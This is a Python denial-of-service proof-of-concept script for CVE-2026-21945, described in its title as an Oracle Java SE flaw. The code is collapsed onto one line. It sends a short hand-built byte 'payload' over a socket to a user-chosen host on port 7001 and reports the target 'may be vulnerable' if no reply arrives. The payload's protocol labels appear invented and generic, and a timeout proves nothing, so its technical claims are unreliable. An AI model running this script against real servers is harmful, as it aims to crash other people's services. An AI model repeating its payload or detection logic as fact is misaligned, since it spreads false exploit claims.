CVE-2026-21945 Oracle Java SE拒绝服务漏洞

# CVE-2026-21945 PoC - Oracle Java SE Security Component DoS # This PoC demonstrates a potential denial of service condition # Note: Actual exploit requires specific trigger conditions import socket import ssl import struct def create_malicious_java_request(): """ Generate a malicious request targeting Java Security component This simulates the malformed security context that could trigger the DoS """ # Java Security protocol header header = b'\x00\x00\x00' # Protocol version # Malformed security context # This payload targets the Security component's exception handling malicious_payload = b'\xCA\xFE\xBA\xBE' # Java class file magic malicious_payload += b'\x00\x00' # Version info # Trigger security exception handling security_trigger = b'\x00\x0F' # Security context marker security_trigger += b'\x00\x00\x00\x00' # Padding security_trigger += b'\xFF\xFF\xFF\xFF' # Malformed reference malicious_payload += security_trigger return header + malicious_payload def exploit_cve_2026_21945(target_host, target_port=7001): """ Send malicious payload to trigger DoS condition Args: target_host: Target Oracle Java server hostname/IP target_port: Target port (default: 7001 for WebLogic) """ try: print(f"[*] Target: {target_host}:{target_port}") print(f"[*] Generating malicious payload for CVE-2026-21945...") payload = create_malicious_java_request() # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) print(f"[*] Connecting to target...") sock.connect((target_host, target_port)) print(f"[*] Sending malicious payload ({len(payload)} bytes)...") sock.send(payload) # Wait for response try: response = sock.recv(1024) print(f"[*] Received response: {len(response)} bytes") except socket.timeout: print("[+] No response received - target may be vulnerable!") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False def check_java_process_dos(): """ Monitor for Java process crash indicators """ print("[*] Monitoring for DoS indicators...") print("[*] Check for:") print(" - Java process termination") print(" - High CPU usage") print(" - Application hang") print(" - Crash logs in hs_err_*.log files") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2026_21945_poc.py <target_host> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 7001 print("=" * 60) print("CVE-2026-21945 - Oracle Java SE Security Component DoS PoC") print("=" * 60) exploit_cve_2026_21945(target, port) check_java_process_dos()